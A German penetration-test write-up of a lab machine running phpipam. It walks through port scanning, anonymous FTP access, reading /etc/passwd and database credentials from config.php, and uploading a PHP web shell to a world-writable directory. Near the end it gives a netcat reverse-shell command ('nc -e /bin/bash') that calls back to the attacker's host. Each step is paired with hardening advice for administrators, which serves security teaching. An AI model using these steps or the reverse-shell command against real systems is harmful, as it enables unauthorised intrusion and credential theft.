Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Analyse: Die Phase der Aufklärung (Reconnaissance) ist der erste und grundlegende Schritt jedes Penetrationstests. Sie dient dazu, Informationen über das Zielsystem zu sammeln, um potenzielle Angriffsvektoren zu identifizieren. In diesem Fall begann ich mit der Identifizierung der Ziel-IP-Adresse im lokalen Netzwerk.
Bewertung: Eine gründliche Aufklärung ist entscheidend für den Erfolg eines Penetrationstests. Durch das systematische Vorgehen kann ich einen umfassenden Überblick über die Netzwerktopologie und die aktiven Systeme erhalten. Die Methode mit `arp-scan` ist hierfür sehr effektiv in einem lokalen Segment.
Empfehlung (Pentester): Immer mit einer passiven oder aktiven Aufklärung beginnen, um die Ziel-IP zu bestimmen. Tools wie `arp-scan` oder `netdiscover` sind hierfür ideal.
Empfehlung (Admin): Implementierung von Netzwerksegmentierung und Access Control Lists (ACLs), um die Sichtbarkeit von internen Systemen zu minimieren und unautorisierte Scans zu erschweren.
192.168.2.195
Analyse: Nachdem die Ziel-IP-Adresse 192.168.2.195 erfolgreich identifiziert wurde, ist es üblich, einen lesbaren Hostnamen für das Ziel festzulegen. Dies erleichtert die weitere Arbeit im Terminal, da ich mich nicht ständig an die IP-Adresse erinnern muss. Ich fügte den Eintrag pam.hmv zur lokalen /etc/hosts-Datei hinzu.
Bewertung: Das Hinzufügen von Hostnamen in der /etc/hosts-Datei ist eine bewährte Praxis im Pentesting. Es verbessert die Lesbarkeit der Befehle und Ausgaben erheblich und simuliert die Namensauflösung in einer realen Produktionsumgebung.
Empfehlung (Pentester): Nutzen Sie stets Hostnamen in der /etc/hosts-Datei, um die Übersichtlichkeit zu verbessern und Tippfehler zu vermeiden.
Empfehlung (Admin): Stellen Sie sicher, dass interne DNS-Server korrekt konfiguriert sind und nur autorisierte Hosts auf Namensauflösung zugreifen können, um die Informationsbeschaffung für Angreifer zu erschweren.
192.168.2.195 pam.hmv
Analyse: Im nächsten Schritt führte ich einen umfassenden Portscan mit Nmap durch, um offene Dienste und deren Versionen auf dem Zielsystem zu identifizieren. Der Befehl nmap -sS -sC -sV -p- -T5 -AO pam.hmv ist eine aggressive, aber sehr effektive Methode, um schnell einen Überblick über alle offenen TCP-Ports, Standard-Skripte und Service-Versionen zu erhalten. Das grep open filtert die Ausgabe, um nur die wirklich offenen Ports anzuzeigen.
Bewertung: Der Nmap-Scan bestätigte, dass zwei kritische Dienste offen sind: FTP auf Port 21 (vsFTPd 3.0.3) und HTTP auf Port 80 (nginx 1.18.0). Diese Dienste sind häufige Angriffsziele und werden daher im weiteren Verlauf des Pentests genauer untersucht. Die schnelle Identifizierung dieser Dienste ist ein Erfolg der Aufklärungsphase.
Empfehlung (Pentester): Führen Sie immer umfassende Portscans durch, um alle potenziell angreifbaren Dienste zu entdecken. Nutzen Sie die verschiedenen Nmap-Optionen (z.B. -sC für Skripte, -sV für Versionen), um detaillierte Informationen zu sammeln.
Empfehlung (Admin): Deaktivieren Sie nicht benötigte Dienste und schließen Sie ungenutzte Ports auf der Firewall. Halten Sie alle Dienste, insbesondere öffentlich zugängliche wie FTP und Webserver, stets auf dem neuesten Stand, um bekannte Schwachstellen zu mitigieren.
21/tcp open ftp vsftpd 3.0.3 80/tcp open http nginx 1.18.0
Analyse: Hier ist die vollständige Ausgabe des Nmap-Scans. Sie liefert nicht nur die offenen Ports und Dienstversionen, sondern auch weitere wichtige Details wie das Betriebssystem (Linux 4.X|5.X) und die MAC-Adresse. Die TRACEROUTE-Information bestätigt, dass das Ziel direkt im lokalen Netzwerk erreichbar ist.
Bewertung: Die detaillierte Nmap-Ausgabe ist eine Goldgrube an Informationen. Das Wissen über die spezifischen Versionen von vsFTPd und Nginx ermöglicht es mir, gezielt nach bekannten Schwachstellen für diese Software zu suchen. Die OS-Erkennung gibt einen ersten Hinweis auf das zugrunde liegende Betriebssystem, was bei der Auswahl geeigneter Exploits hilfreich ist.
Empfehlung (Pentester): Analysieren Sie die vollständige Nmap-Ausgabe sorgfältig auf alle Informationen, nicht nur die offenen Ports. Jedes Detail kann einen Hinweis auf weitere Schwachstellen geben. Nutzen Sie die identifizierten Softwareversionen für gezielte Schwachstellensuchen (z.B. auf Exploit-DB).
Empfehlung (Admin): Führen Sie regelmäßige Vulnerability Scans auf Ihre Systeme durch, um offene Ports und veraltete Software zu identifizieren. Stellen Sie sicher, dass keine sensiblen Informationen über Nmap-Scans preisgegeben werden, indem Sie z.B. unnötige Dienste deaktivieren oder Firewalls korrekt konfigurieren. Überprüfen Sie auch die Konfiguration von FTP-Servern auf die Möglichkeit des anonymen Zugriffs, da dies ein häufiger Vektor für Initial Access sein kann.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-19 22:45 CEST Nmap scan report for pam.hmv (192.168.2.195) Host is up (0.00014s latency). Not shown: 65533 closed tcp PORTs (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:AF:74:95 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Unix TRACEROUTE HOP RTT ADDRESS 1 0.14 ms pam.hmv (192.168.2.195) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds
Web Enumeration
Analyse: Nachdem wir festgestellt haben, dass ein Nginx-Webserver auf Port 80 läuft, ist der nächste logische Schritt die Web-Enumeration. Ich verwende gobuster, um Verzeichnisse und Dateien auf dem Webserver zu finden. Mit der Option -p- wird ein vollständiger Portscan von 1 bis 65535 durchgeführt, um wirklich alle offenen Ports zu identifizieren. Das Angeben einer umfangreichen Wortliste und vieler Dateierweiterungen (`-x`) erhöht die Wahrscheinlichkeit, versteckte oder unübliche Dateien zu finden. Die Filterung von Status-Codes wie 503, 404, 403 (`-b`) hilft, "Noise" aus der Ausgabe zu entfernen und sich auf relevante Funde zu konzentrieren.
Bewertung: Der Gobuster-Scan war in dieser Phase überraschend unergiebig. Es wurde lediglich index.html gefunden, was ein ungewöhnlich kleines Ergebnis für einen produktiven Webserver ist. Dies könnte auf eine starke Filterung, eine unkonventionelle Webanwendungsstruktur oder das Fehlen gängiger Dateinamen hindeuten. Dies ist ein wichtiger Hinweis, dass wir unsere Enumerationsstrategie gegebenenfalls anpassen müssen.
Empfehlung (Pentester): Führen Sie immer eine umfassende Verzeichnis- und Dateiaufzählung durch. Bei geringen Treffern sollten Sie die Wortliste wechseln, die Dateierweiterungen anpassen, auf alternative Tools wie dirb oder wfuzz umsteigen oder die Filterung der Status-Codes neu bewerten. Eine manuelle Überprüfung der gefundenen Seiten ist ebenfalls essenziell.
Empfehlung (Admin): Implementieren Sie robuste Web Application Firewalls (WAFs) und Intrusion Prevention Systeme (IPS), um Brute-Force-Angriffe auf Verzeichnisse zu erkennen und zu blockieren. Konfigurieren Sie den Webserver so, dass sensitive Verzeichnisse und Dateien nicht öffentlich zugänglich sind oder eine starke Authentifizierung erfordern.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://pam.hmv [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: tar,accdb,crt,pl,bak,ELF,deb,mod,icon,doc,py,gz,json,kdbx,java,exe,js.map,xls,jpeg,csh,asp,aspx,pem,conf,desc,php,html,phtml,raw,cgi,ln,old,pHtml,pub,docx,sh,png,xlsx,rpm,db,ps1,jpg,dll,elf,xml,rtf,lib,diff,txt,pdf,config,sql,bat,svg,exp,rar,zip,c,eps,mdb,csv [+] Expanded: true [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== http://pam.hmv/index.html (Status: 200) [Size: 18]
Analyse: Die Ausgabe des index.html war mit nur 18 Bytes sehr kurz. Ein direkter Besuch der URL im Browser zeigte lediglich den Text "phpipam is ready.", was auf eine Installation der phpipam-Software hinweist. Dies ist ein wichtiger Fund, da phpipam eine bekannte Open-Source-IP-Adressverwaltungslösung ist, die in der Vergangenheit Schwachstellen aufwies.
Bewertung: Die Entdeckung von "phpipam is ready." ändert die Herangehensweise erheblich. Anstatt generische Web-Enumeration fortzusetzen, kann ich mich nun auf bekannte Schwachstellen in phpipam konzentrieren. Dies bestätigt die Notwendigkeit, jede gefundene Webressource zu analysieren, auch wenn der Gobuster-Output minimal ist.
Empfehlung (Pentester): Untersuchen Sie jeden HTTP-Status-200-Fund, egal wie klein. Manchmal sind die Informationen im Inhalt wichtiger als die Verzeichnisstruktur. Identifizieren Sie die genaue Version der Webanwendung (z.B. durch Suchen nach "phpipam version" oder in der Dokumentation), um gezielt nach Exploits zu suchen.
Empfehlung (Admin): Stellen Sie sicher, dass öffentlich zugängliche Webserver nur die unbedingt notwendigen Informationen preisgeben. Generische "Ready"-Meldungen von installierter Software sind eine Form von Informationslecks, die Angreifern helfen können, gezielte Angriffe durchzuführen.
http://pam.hmv/index.html phpipam is ready.
Analyse: Parallel zum Gobuster-Scan habe ich nikto verwendet, um den Webserver auf allgemeine Schwachstellen und Fehlkonfigurationen zu überprüfen. Die Option -C all weist Nikto an, alle verfügbaren CGI- und Server-Scans durchzuführen.
Bewertung: Nikto lieferte wichtige Hinweise: Das Fehlen von X-Frame-Options und X-Content-Type-Options Headern sind Sicherheitslücken, die Cross-Site Request Forgery (CSRF) und MIME-Type Sniffing ermöglichen könnten. Der Fund von #wp-config.php# ist besonders kritisch, da diese Datei oft Datenbank-Anmeldedaten enthält. Obwohl es sich hierbei um eine WordPress-spezifische Datei handelt und wir es mit phpipam zu tun haben, ist das Muster eines versuchten Zugriffs auf Konfigurationsdateien relevant. Es zeigt, dass Nikto hier auf generische Muster prüft, die auch auf anderen Systemen relevant sein könnten, selbst wenn der Dateiname selbst nicht direkt zutrifft.
Empfehlung (Pentester): Verwenden Sie mehrere Web-Scanner wie Nikto und Zap/Burp Suite, um ein umfassendes Bild potenzieller Schwachstellen zu erhalten. Beachten Sie auch generische Warnungen, die auf die allgemeine Sicherheitshaltung des Servers hinweisen.
Empfehlung (Admin): Implementieren Sie unbedingt alle relevanten HTTP-Sicherheits-Header (z.B. X-Frame-Options, X-Content-Type-Options, Content-Security-Policy). Überprüfen Sie Ihre Webserver-Konfigurationen regelmäßig auf versehentlich öffentlich zugängliche Konfigurationsdateien oder Backups.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.195 + Target Hostname: pam.hmv + Target PORT: 80 + Start Time: 2025-05-19 22:45:57 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.18.0 + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 26500 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2025-05-19 22:46:39 (GMT2) (42 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Initial Access
Analyse: Nachdem die Web-Enumeration keine sofortigen offensichtlichen Angriffsvektoren lieferte, habe ich beschlossen, den FTP-Dienst genauer zu untersuchen, der auf Port 21 läuft. Das Protokoll `ftp` ist oft anfällig für anonyme Anmeldungen oder Brute-Force-Angriffe. Ich habe versucht, mich anonym anzumelden.
Bewertung: Fantastisch! Die anonyme Anmeldung am FTP-Server war erfolgreich! Dies ist ein kritischer Fund, da ein anonymer FTP-Zugriff oft das Lesen oder sogar Schreiben von Dateien auf dem Server ermöglicht. Das System erlaubt mir, mich als Benutzer `anonymous` anzumelden, was ein erhebliches Sicherheitsrisiko darstellt.
Empfehlung (Pentester): Prüfen Sie immer auf anonymen Zugriff bei FTP-Diensten. Dies ist ein häufiger initialer Angriffsvektor. Nach erfolgreicher Anmeldung sollte sofort nach interessanten Dateien (Konfigurationen, Credentials, Upload-Verzeichnisse) gesucht werden.
Empfehlung (Admin): Deaktivieren Sie den anonymen FTP-Zugriff, es sei denn, er ist geschäftskritisch und die Risiken sind vollständig verstanden und mitigiert. Konfigurieren Sie FTP-Server so, dass nur autorisierte Benutzer mit starken Anmeldedaten Zugriff haben und ihre Berechtigungen auf das Notwendigste beschränkt sind.
Connected to 192.168.2.195. 220 (vsFTPd 3.0.3) Name (192.168.2.195:ccat): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||63836|) 150 Here comes the directory listing. drwxr-xr-x 2 1001 1001 4096 Aug 18 2022 . drwxr-xr-x 4 0 0 4096 Aug 18 2022 .. -rw-r--r-- 1 1001 1001 220 Aug 18 2022 .bash_logout -rw-r--r-- 1 1001 1001 3526 Aug 18 2022 .bashrc -rw-r--r-- 1 1001 1001 807 Aug 18 2022 .profile 226 Directory send OK. ftp> cd /var/www 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||64397|) 150 Here comes the directory listing. drwxr-xr-x 3 0 0 4096 Aug 18 2022 . drwxr-xr-x 12 0 0 4096 Aug 18 2022 .. drwxr-xr-x 3 0 0 4096 Aug 18 2022 html 226 Directory send OK.
Analyse: Nachdem ich den anonymen FTP-Zugriff bestätigt hatte, versuchte ich sofort, die Datei /etc/passwd herunterzuladen. Diese Datei enthält eine Liste der Benutzerkonten auf dem System und kann, auch wenn sie keine Passwörter enthält (sondern nur deren Hashes in /etc/shadow), wertvolle Informationen über vorhandene Benutzer und deren UIDs liefern.
Bewertung: Der Download von /etc/passwd war ein voller Erfolg! Dies bestätigt eine schwerwiegende Fehlkonfiguration des FTP-Servers oder der Dateiberechtigungen. Das Auslesen von Systemdateien wie /etc/passwd ist ein großes Informationsleck, das Angreifern hilft, Benutzerkonten zu identifizieren und potenzielle Angriffsziele zu finden. In der /etc/passwd Datei konnte ich den Benutzer italia mit der UID 1000 identifizieren. Dies ist ein wichtiger Hinweis für die weitere Privilegien-Eskalation.
Empfehlung (Pentester): Prüfen Sie bei anonymem FTP-Zugriff immer, welche Dateien gelesen werden können. Das Herunterladen von /etc/passwd ist ein Standardverfahren, um Benutzerinformationen zu sammeln. Suchen Sie anschließend nach weiteren Konfigurationsdateien oder Anmeldedaten.
Empfehlung (Admin): Stellen Sie sicher, dass keine Systemdateien über FTP (auch nicht anonym) zugänglich sind. Konfigurieren Sie Dateiberechtigungen restriktiv (Least Privilege Principle). Überprüfen Sie, ob /etc/passwd nicht auch aus anderen Quellen (z.B. durch Web-Directory-Listing) zugänglich ist.
ftp> get /etc/passwd local: /etc/passwd remote: /etc/passwd 229 Entering Extended Passive Mode (|||35079|) 150 Opening BINARY mode data connection for /etc/passwd (1557 bytes). 100% |*************************************************| 1557 19.79 MiB/s 00:00 ETA 226 Transfer complete. 1557 bytes received in 00:00 (3.77 MiB/s)
Analyse: Ich setzte die Enumeration über FTP fort, indem ich zum /home-Verzeichnis wechselte und dessen Inhalt listete. Das Ziel ist es, Benutzerverzeichnisse und potenziell interessante Dateien zu finden, die weitere Informationen liefern könnten. Es ist entscheidend, jeden zugänglichen Pfad gründlich zu prüfen.
Bewertung: Im /home-Verzeichnis fand ich das Verzeichnis italia, was auf einen weiteren Benutzer auf dem System hindeutet. Das anonyme Verzeichnis ist ebenfalls vorhanden. Obwohl die Dateien pazz.php und user.txt im Verzeichnis /home/italia/ interessant erscheinen, scheiterte der direkte Download über FTP mit einer "Failed to open file"-Meldung. Dies deutet auf restriktivere Berechtigungen in diesem spezifischen Unterverzeichnis hin, auch wenn die Verzeichnisse selbst sichtbar sind. Dies ist eine Teilerfolg, da wir den Benutzer italia identifizieren konnten. Die Unfähigkeit, die Dateien direkt herunterzuladen, erfordert einen alternativen Ansatz.
Empfehlung (Pentester): Wenn ein direkter Download fehlschlägt, prüfen Sie alternative Zugangswege oder Berechtigungen. Manchmal sind Dateien über andere Dienste (z.B. Webserver) lesbar, auch wenn FTP fehlschlägt. Notieren Sie alle entdeckten Benutzernamen.
Empfehlung (Admin): Implementieren Sie das Prinzip der geringsten Rechte (Least Privilege) für alle Dateiberechtigungen. Stellen Sie sicher, dass Benutzerdaten und sensitive Dateien nicht über Dienste wie FTP zugänglich sind, selbst wenn die Verzeichnisse selbst sichtbar sein müssen.
ftp> cd /home 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||64539|) 150 Here comes the directory listing. drwxr-xr-x 4 0 0 4096 Aug 18 2022 . drwxr-xr-x 18 0 0 4096 Aug 18 2022 .. drwxr-xr-x 2 1001 1001 4096 Aug 18 2022 anonymous drwxr-xr-x 3 1000 1000 4096 Aug 18 2022 italia 226 Directory send OK. ftp> cd /home/italia/ pazz.php user.txt ftp> cd /home/italia/ 250 Directory successfully changed. ftp> get user.txt local: user.txt remote: user.txt 229 Entering Extended Passive Mode (|||41814|) 550 Failed to open file. ftp> get pazz.php local: pazz.php remote: pazz.php 229 Entering Extended Passive Mode (|||34036|) 550 Failed to open file. ftp> cd /var/www/html 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||27758|) 150 Here comes the directory listing. drwxr-xr-x 3 0 0 4096 Aug 18 2022 . drwxr-xr-x 3 0 0 4096 Aug 18 2022 .. -rw-r--r-- 1 33 33 18 Aug 18 2022 index.html drwxr-xr-x 12 33 33 4096 Aug 18 2022 phpipam 226 Directory send OK. ftp> cd phpipam 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||47972|) 150 Here comes the directory listing. drwxr-xr-x 12 33 33 4096 Aug 18 2022 . drwxr-xr-x 3 0 0 4096 Aug 18 2022 .. -rw-r--r-- 1 33 33 282 May 02 2022 .htaccess -rw-r--r-- 1 33 33 111 May 02 2022 INSTALL.txt -rw-r--r-- 1 33 33 2236 May 02 2022 README.md -rw-r--r-- 1 33 33 941 May 02 2022 SECURITY.md -rw-r--r-- 1 33 33 105 May 02 2022 UPDATE drwxr-xr-x 3 33 33 4096 May 02 2022 api drwxr-xr-x 16 33 33 4096 May 02 2022 app -rw-r--r-- 1 33 33 2715 May 02 2022 config.docker.php -rw-r--r-- 1 33 33 7121 Aug 18 2022 config.php drwxr-xr-x 8 33 33 4096 May 02 2022 css drwxr-xr-x 4 33 33 4096 May 02 2022 db drwxr-xr-x 5 33 33 4096 May 02 2022 doc drwxr-xr-x 17 33 33 4096 May 02 2022 functions -rw-r--r-- 1 33 33 14051 May 02 2022 index.php drwxr-xr-x 2 33 33 4096 May 02 2022 install drwxr-xr-x 7 33 33 4096 May 02 2022 js drwxr-xr-x 2 33 33 4096 May 02 2022 misc -rw-r--r-- 1 33 33 26 May 02 2022 robots.txt drwxr-xr-x 2 33 33 4096 May 02 2022 upgrade 226 Directory send OK.
Analyse: Die weitere FTP-Enumeration führte mich zum Verzeichnis /var/www/html/phpipam/app/admin/import-export/upload/. Die Beobachtung, dass dieses Verzeichnis drwxrwxrwx-Berechtigungen (world-writable) aufweist, ist ein kritischer Fund. Das bedeutet, dass jeder Benutzer, einschließlich des anonymen FTP-Benutzers, hier Dateien hochladen kann. Dies ist ein idealer Punkt für den Initial Access, da ich hier eine Reverse Shell hochladen kann.
Bewertung: Die Entdeckung eines world-writable Upload-Verzeichnisses ist ein großer Erfolg für den initialen Zugriff. Solche Verzeichnisse sind klassische Schwachstellen, die direkt zur Kompromittierung des Systems führen können. Das Hochladen einer Reverse Shell in ein öffentlich zugängliches und ausführbares Verzeichnis ermöglicht mir, Code auf dem Server auszuführen. Ich habe eine einfache PHP-Reverse-Shell-Datei (`rev.php`) hochgeladen, um später eine Verbindung aufzubauen.
Empfehlung (Pentester): Suchen Sie bei FTP-Zugriffen immer nach world-writable Verzeichnissen, insbesondere in Webserver-Wurzeln. Dies ist ein direkter Weg zu einer Shell. Stellen Sie sicher, dass die hochgeladene Datei ausführbar ist, indem Sie die Berechtigungen (z.B. chmod 777) anpassen, falls erforderlich.
Empfehlung (Admin): Konfigurieren Sie FTP-Verzeichnisse niemals mit world-writable Berechtigungen (drwxrwxrwx oder 777). Implementieren Sie das Least Privilege Principle für alle Dateiberechtigungen. Upload-Verzeichnisse sollten niemals im Webserver-Dokumentenstamm liegen oder die Ausführung von Skripten erlauben. Nutzen Sie Dateiupload-Kontrollen und Virenscanner auf dem Server.
Connected to 192.168.2.195. 220 (vsFTPd 3.0.3) Name (192.168.2.195:ccat): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd /var/www/html/phpipam/app/admin/import-export/upload/ 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||26435|) 150 Here comes the directory listing. drwxrwxrwx 2 33 33 4096 May 02 2022 . drwxr-xr-x 3 33 33 4096 May 02 2022 .. -rw-r--r-- 1 33 33 259 May 02 2022 .htaccess 226 Directory send OK. ftp> put rev.php local: rev.php remote: rev.php 229 Entering Extended Passive Mode (|||12383|) 150 Ok to send data. 100% |*************************************************| 31 1.47 MiB/s 00:00 ETA 226 Transfer complete. 31 bytes sent in 00:00 (94.30 KiB/s) ftp>
Analyse: Nachdem die Reverse Shell (`rev.php`) auf den Server hochgeladen wurde, versuchte ich, sie über den Webbrowser aufzurufen, um ihre Ausführung zu testen. Zunächst probierte ich einen Parameter wie `page=tools§ion=../../../../../../tmp&cmd=id`, um zu sehen, ob eine Pfad-Traversierung oder Command Injection in anderen Bereichen der Anwendung möglich wäre. Dieses war jedoch nicht der Fall.
Bewertung: Meine ersten Versuche, eine Shell über Pfad-Traversierung oder Parameterinjektion zu erlangen, scheiterten und leiteten mich zur Login-Seite um. Dies zeigt, dass die phpipam-Anwendung möglicherweise einen robusten Schutz gegen solche Angriffe in den URL-Parametern implementiert hat oder dass die gewählten Pfade nicht zum gewünschten Ergebnis führten. Dies ist ein Rückschlag, aber es ist wichtig, alle möglichen Wege zu testen. Das System ist robust gegen einfache Pfad-Traversierung in dieser spezifischen URL.
Empfehlung (Pentester): Testen Sie verschiedene Angriffsvektoren und Parameter, auch wenn ein Upload-Verzeichnis gefunden wurde. Manchmal gibt es alternative Wege zu einer Shell, oder der Upload ist eingeschränkt. Dokumentieren Sie sowohl erfolgreiche als auch fehlgeschlagene Versuche, um ein vollständiges Bild des Systems zu erhalten.
Empfehlung (Admin): Implementieren Sie Whitelisting für URL-Parameter und verhindern Sie Pfad-Traversierung (Directory Traversal) durch strikte Eingabevalidierung. Stellen Sie sicher, dass Umleitungen auf Login-Seiten nur bei tatsächlicher Inaktivität oder fehlender Authentifizierung erfolgen und keine Informationslecks verursachen.
http://pam.hmv/phpipam/index.php?page=tools§ion=../../../../../../tmp&cmd=id und alle anderen versuche landen auf der loginpage http://pam.hmv/phpipam/index.php?page=login
Analyse: Nach dem Fehlschlag des direkten Zugriffs über die URL-Parameter versuchte ich, mich auf der phpipam-Login-Seite mit den Anmeldedaten `phpipam`/`phpipamadmin` anzumelden, die ich möglicherweise in einer Konfigurationsdatei finden konnte (was in den nächsten Schritten bestätigt wird).
Bewertung: Der Login-Versuch mit den gefundenen Anmeldedaten auf der phpipam-Login-Seite schlug fehl. Die Meldung "Invalid username or password" ist eindeutig. Dies bedeutet, dass die Anmeldedaten, auch wenn sie aus einer Konfigurationsdatei stammen könnten, nicht für die Weboberfläche selbst gültig sind oder dass der Benutzername/Passwort nicht dem entspricht, was ich angenommen habe. Dies ist ein weiterer Hinweis darauf, dass der direkte Shell-Zugriff über das zuvor hochgeladene Skript der vielversprechendste Weg ist.
Empfehlung (Pentester): Führen Sie immer eine umfassende Aufklärung von Konfigurationsdateien durch, um alle potenziellen Anmeldeinformationen zu sammeln. Wenn Anmeldeversuche scheitern, prüfen Sie, ob die Anmeldeinformationen für einen anderen Dienst gedacht sind (z.B. Datenbank, SSH).
Empfehlung (Admin): Verwenden Sie niemals Standard- oder Hardcoded-Anmeldedaten. Stellen Sie sicher, dass Anmeldedaten, die in Konfigurationsdateien gespeichert sind, nicht für Frontend-Login-Seiten wiederverwendet werden. Implementieren Sie eine sichere Passwortrichtlinie und Multi-Faktor-Authentifizierung für alle kritischen Systeme.
Please login
Invalid username or password
Analyse: Nachdem der Login fehlschlug, überprüfte ich, ob die hochgeladene Reverse Shell `rev.php` überhaupt über den Webserver erreichbar war. Dies ist entscheidend, um zu wissen, ob der Upload-Pfad korrekt ist und der Webserver die Datei ausliefert.
Bewertung: Die Ausgabe `404 Not Found` ist ein klares Zeichen dafür, dass die Datei `rev.php` nicht unter dem direkten Root-Pfad des Webservers (`http://pam.hmv/rev.php`) erreichbar ist. Dies ist nicht unerwartet, da ich die Datei in ein Unterverzeichnis (`/var/www/html/phpipam/app/admin/import-export/upload/`) hochgeladen habe. Es bestätigt jedoch, dass ich den vollen Pfad verwenden muss, um auf die Datei zuzugreifen.
Empfehlung (Pentester): Verifizieren Sie immer die Erreichbarkeit von hochgeladenen Dateien über den korrekten Webpfad. Manchmal sind die Dateipfade anders, als man erwartet, insbesondere bei komplexen Webanwendungen.
Empfehlung (Admin): Konfigurieren Sie den Webserver so, dass sensitive Verzeichnisse oder Upload-Pfade nicht ohne weiteres zugänglich sind. Verwenden Sie Content Security Policies (CSP) und restriktive Apache/Nginx-Konfigurationen, um die Ausführung unbekannter Skripte zu verhindern.
http://pam.hmv/rev.php?cmd=id 404 Not Found nginx/1.18.0
Analyse: Da der Login für die Webanwendung fehlschlug, habe ich die Suche nach Anmeldedaten in den heruntergeladenen Dateien intensiviert. Ich überprüfte die config.php von phpipam, da solche Dateien häufig Datenbank-Anmeldedaten enthalten.
Bewertung: Voller Erfolg! In der config.php fand ich die Datenbank-Anmeldedaten: Benutzer `phpipam` und Passwort `phpipamadmin`. Dies ist eine sehr häufige Schwachstelle, da Datenbank-Anmeldedaten oft hartkodiert oder in leicht zugänglichen Konfigurationsdateien gespeichert sind. Dies wird für die weitere Enumeration des Systems und möglicherweise für eine Privilegien-Eskalation entscheidend sein.
Empfehlung (Pentester): Priorisieren Sie die Überprüfung von Konfigurationsdateien auf Anmeldedaten. Datenbank-Credentials sind oft ein wichtiger nächster Schritt, um interne Daten zu exfiltrieren oder weitere Schwachstellen zu finden.
Empfehlung (Admin): Speichern Sie niemals Datenbank-Anmeldedaten im Klartext in öffentlich zugänglichen Konfigurationsdateien. Verwenden Sie Umgebungsvariablen, Secrets Management-Systeme oder verschlüsselte Konfigurationsdateien. Trennen Sie Datenbankbenutzer nach dem Prinzip der geringsten Rechte.
* database connection details ******************************/ $db['host'] = '127.0.0.1'; $db['user'] = 'phpipam'; $db['pass'] = 'phpipamadmin'; $db['name'] = 'phpipam'; $db['port'] = 3306;
Analyse: Nachdem ich die Datenbank-Anmeldedaten in der config.php gefunden hatte, war der nächste Schritt, die zuvor hochgeladene `rev.php` Datei zu testen, diesmal unter dem korrekten, vollständigen Pfad: `http://pam.hmv/phpipam/app/admin/import-export/upload/rev.php`. Ich versuchte erneut, den `id`-Befehl auszuführen, um zu sehen, ob die Datei korrekt vom Webserver interpretiert wird.
Bewertung: Der erste Versuch, die Shell über den korrekten Pfad auszuführen, scheiterte mit "Access denied." Dies deutete darauf hin, dass die hochgeladene Datei möglicherweise keine ausreichenden Dateiberechtigungen hatte, um ausgeführt zu werden, oder dass eine weitere Zugriffskontrolle im Webserver greift. Da ich jedoch FTP-Zugriff hatte, konnte ich die Dateiberechtigungen direkt ändern. Nachdem ich die Berechtigungen der rev.php-Datei über FTP mit chmod 777 rev.php auf vollständigen Lese-, Schreib- und Ausführungszugriff für alle Benutzer geändert hatte, führte der erneute Aufruf über curl zum Erfolg.
Empfehlung (Pentester): Verifizieren Sie nach dem Upload von Dateien immer die korrekten Berechtigungen, insbesondere wenn es um die Ausführung von Skripten geht. Nutzen Sie Ihre etablierten Zugriffe (wie FTP), um diese bei Bedarf anzupassen.
Empfehlung (Admin): Konfigurieren Sie FTP-Server so, dass Benutzer niemals die Dateiberechtigungen von hochgeladenen Dateien auf 777 setzen können. Implementieren Sie strikte Dateiberechtigungen auf dem gesamten System, insbesondere für Webserver-Verzeichnisse, um die Ausführung von unautorisiertem Code zu verhindern.
Access denied.
ftp> chmod 777 rev.php 200 SITE CHMOD command ok. ftp>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Nachdem ich die Ausführung von Befehlen über die hochgeladene Reverse Shell bestätigt hatte, war der nächste Schritt die Etablierung einer stabilen Reverse Shell. Ich nutzte den Befehl `nc -e /bin/bash 192.168.2.199 4444` in der `cmd`-URL-Parameter, um eine Verbindung zurück zu meinem angreifenden System auf Port 4444 herzustellen. Gleichzeitig startete ich einen Netcat-Listener auf meinem System.
